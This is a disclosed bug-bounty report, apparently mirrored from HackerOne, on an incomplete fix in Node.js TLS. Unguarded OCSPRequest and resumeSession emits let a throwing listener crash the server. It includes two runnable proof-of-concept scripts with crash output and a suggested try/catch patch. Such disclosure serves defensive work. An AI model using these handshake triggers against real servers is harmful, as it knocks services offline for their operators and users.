Skip to content
DoS Disclosed report Intermediate CVE-2026-21637

Incomplete Fix for CVE-2026-21637: OCSPRequest and resumeSession Events Crash Node.js TLS Server via Unhandled Synchronous Exceptions

Two TLS callback paths in Node.js, OCSPRequest and resumeSession, emit events without try/catch, so a synchronous exception in a listener escapes and terminates the process. A remote client can trigger either path during the TLS handshake without authentication, causing a denial of service.

shinchan_69 Follow

Originally disclosed on HackerOne

  • Disclosed after 8 days

Summary

The March 2026 security release patched CVE-2026-21637 by wrapping SNICallback, ALPNCallback, and pskCallback invocations in try/catch blocks inside lib/internal/tls/wrap.js. That fix is present in v26.3.0.

However, two other TLS callback paths in the same file were left unprotected:

  1. socket.server.emit('OCSPRequest', ...) in requestOCSP() — line 325
  2. owner.server.emit('resumeSession', ...) in loadSession() — line 196

If a server registers a listener on either of these events and that listener throws a synchronous exception, the exception propagates uncaught out of the native MakeCallback call stack and terminates the entire Node.js process. A remote client can trigger both code paths during the TLS handshake without any authentication, making this a remotely exploitable denial-of-service.

This was confirmed against the v26.3.0 source checked out at commit b7e6a5d3.


Vulnerability Details

1. OCSPRequest — requestOCSP(), line 325

JavaScript
// lib/internal/tls/wrap.js — line 324-328
debug('server oncertcb emit OCSPRequest');
socket.server.emit('OCSPRequest',       // <-- no try/catch
                   ctx.getCertificate(),
                   ctx.getIssuer(),
                   onOCSP);

This emit is reached via two separate paths in loadSNI():

Path A — line 210-211 (no servername or no SNICallback):

JavaScript
if (!servername || !owner._SNICallback)
    return requestOCSP(owner, info);   // called before any try/catch

Path B — line 230 (inside the SNICallback async callback):

JavaScript
try {
    owner._SNICallback(servername, (err, context) => {
        // ...
        requestOCSP(owner, info);      // try/catch has already exited
    });
} catch (err) {
    owner.destroy(err);
}

In Path B, since _SNICallback is asynchronous, the try/catch completes before the callback fires. Any exception thrown inside requestOCSP() from within that callback is uncaught.

2. resumeSession — loadSession(), line 196

JavaScript
// lib/internal/tls/wrap.js — line 193-196
if (hello.sessionId.length <= 0 ||
    hello.tlsTicket ||
    (owner.server &&
    !owner.server.emit('resumeSession', hello.sessionId, onSession))) {  // <-- no try/catch

There is no try/catch anywhere in loadSession(). A synchronous throw from a resumeSession listener crashes the process.

Why the March 2026 Patch Did Not Cover These

The March 2026 release patched SNICallback inside loadSNI() with an explicit try/catch. The same release notes acknowledged this was an incomplete fix for CVE-2026-21637 but only named SNICallback. The OCSPRequest and resumeSession paths were not addressed and remain exposed in v26.3.0 as shipped.


Steps to Reproduce

ocsp_and_resume_poc.mp4 From the original on HackerOne

Prerequisites

Generate a self-signed cert and key:

Bash
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
  -days 1 -nodes -subj "/CN=localhost"

PoC 1 — OCSPRequest crash

Save as poc_ocsp.js:

JavaScript
const tls = require('tls');
const fs  = require('fs');

const server = tls.createServer({
  key:  fs.readFileSync('key.pem'),
  cert: fs.readFileSync('cert.pem'),
}, (socket) => { socket.write('ok\n'); });

// Listener throws synchronously
server.on('OCSPRequest', (cert, issuer, cb) => {
  throw new Error('crash: unhandled exception in OCSPRequest listener');
});

server.listen(8443, () => {
  console.log('[*] Server up. Sending OCSP request...');
  tls.connect(8443, 'localhost', {
    rejectUnauthorized: false,
    requestOCSP: true,       // triggers the OCSPRequest event server-side
  }, () => {});
});

Run:

Bash
node poc_ocsp.js

PoC 2 — resumeSession crash

Save as poc_resume.js:

JavaScript
const tls = require('tls');
const fs  = require('fs');

const server = tls.createServer({
  key:  fs.readFileSync('key.pem'),
  cert: fs.readFileSync('cert.pem'),
}, (socket) => { socket.write('ok\n'); });

// Listener throws synchronously
server.on('resumeSession', (id, cb) => {
  throw new Error('crash: unhandled exception in resumeSession listener');
});

let savedSession = null;

// First connection: capture a session to resume
const c1 = tls.connect(8443, 'localhost', { rejectUnauthorized: false }, () => {
  savedSession = c1.getSession();
  c1.end();

  // Second connection: present the session, triggering resumeSession
  setTimeout(() => {
    tls.connect(8443, 'localhost', {
      rejectUnauthorized: false,
      session: savedSession,
    }, () => {});
  }, 200);
});

server.listen(8443, () => {
  console.log('[*] Server up. Performing session resumption...');
});

Run:

Bash
node poc_resume.js

Output

PoC 1 — OCSPRequest

[*] Server up. Sending OCSP request...

/home/user/poc_ocsp.js:10
  throw new Error('crash: unhandled exception in OCSPRequest listener');
  ^

Error: crash: unhandled exception in OCSPRequest listener
    at Server.<anonymous> (/home/user/poc_ocsp.js:10:9)
    at Server.emit (node:events:509:20)
    at requestOCSP (node:internal/tls/wrap:325:17)
    at TLSWrap.loadSNI [as oncertcb] (node:internal/tls/wrap:211:12)

Node.js v26.3.0

The process exits. The server is dead after a single client connection.

PoC 2 — resumeSession

[*] Server up. Performing session resumption...

/home/user/poc_resume.js:8
  throw new Error('crash: unhandled exception in resumeSession listener');
  ^

Error: crash: unhandled exception in resumeSession listener
    at Server.<anonymous> (/home/user/poc_resume.js:8:9)
    at Server.emit (node:events:509:20)
    at loadSession (node:internal/tls/wrap:196:7)
    at TLSWrap.onclienthello (node:internal/tls/wrap:862:20)

Node.js v26.3.0

Impact

Impact

Any TLS server running Node.js v26.3.0 that registers an OCSPRequest or resumeSession listener is vulnerable. If the listener throws under any condition — including expected error cases like a failed OCSP lookup or a cache miss during session resumption — a remote client can crash the server by sending the appropriate TLS extension. No authentication is required. The crash is deterministic and repeatable.

Real-world listeners commonly throw in these scenarios:

  • OCSPRequest: network call to a CA fails and an exception is thrown instead of calling cb(err)
  • resumeSession: a session store (Redis, Memcached) client is not yet connected and accessing it throws

Suggested Fix

Wrap both vulnerable emits in try/catch blocks, calling socket.destroy(err) or owner.destroy(err) on catch — identical to what was done for SNICallback in the March 2026 patch.

requestOCSP() — line 324-328:

JavaScript
debug('server oncertcb emit OCSPRequest');
try {
  socket.server.emit('OCSPRequest',
                     ctx.getCertificate(),
                     ctx.getIssuer(),
                     onOCSP);
} catch (err) {
  socket.destroy(err);
}

loadSession() — line 193-203:

JavaScript
try {
  if (hello.sessionId.length <= 0 ||
      hello.tlsTicket ||
      (owner.server &&
      !owner.server.emit('resumeSession', hello.sessionId, onSession))) {
    owner._handle.endParser();
  }
} catch (err) {
  owner.destroy(err);
}

References

The original report as published on HackerOne, by shinchan_69. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The OCSPRequest and resumeSession event emits in lib/internal/tls/wrap.js are not wrapped in try/catch, unlike the SNICallback path patched earlier.

Impact

Any TLS server on v26.3.0 with an OCSPRequest or resumeSession listener that can throw is vulnerable to a deterministic remote crash without authentication.

What the attacker needed

Node.js v26.3.0 TLS server; Server registers OCSPRequest or resumeSession listener; Listener can throw synchronously; Remote network access to the TLS port

The fix

Wrap both emits in try/catch and destroy the socket or owner on error, as was done for SNICallback.

How it was found

  1. Generate a self-signed certificate and key with openssl.
  2. Create a TLS server that registers an OCSPRequest listener which throws synchronously.
  3. Start the server and connect a client with requestOCSP enabled.
  4. Observe the uncaught exception and process exit.
  5. For the second path, register a resumeSession listener that throws, capture a session from a first connection, then reconnect presenting that session.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Node.js lets a program register functions that run when certain TLS events happen, such as a client asking for certificate status or trying to resume an old session. If one of those functions throws an error, Node.js normally catches it, but here the code that calls the function does not, so the whole server process exits. An attacker only needs to connect in a particular way to make that happen.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.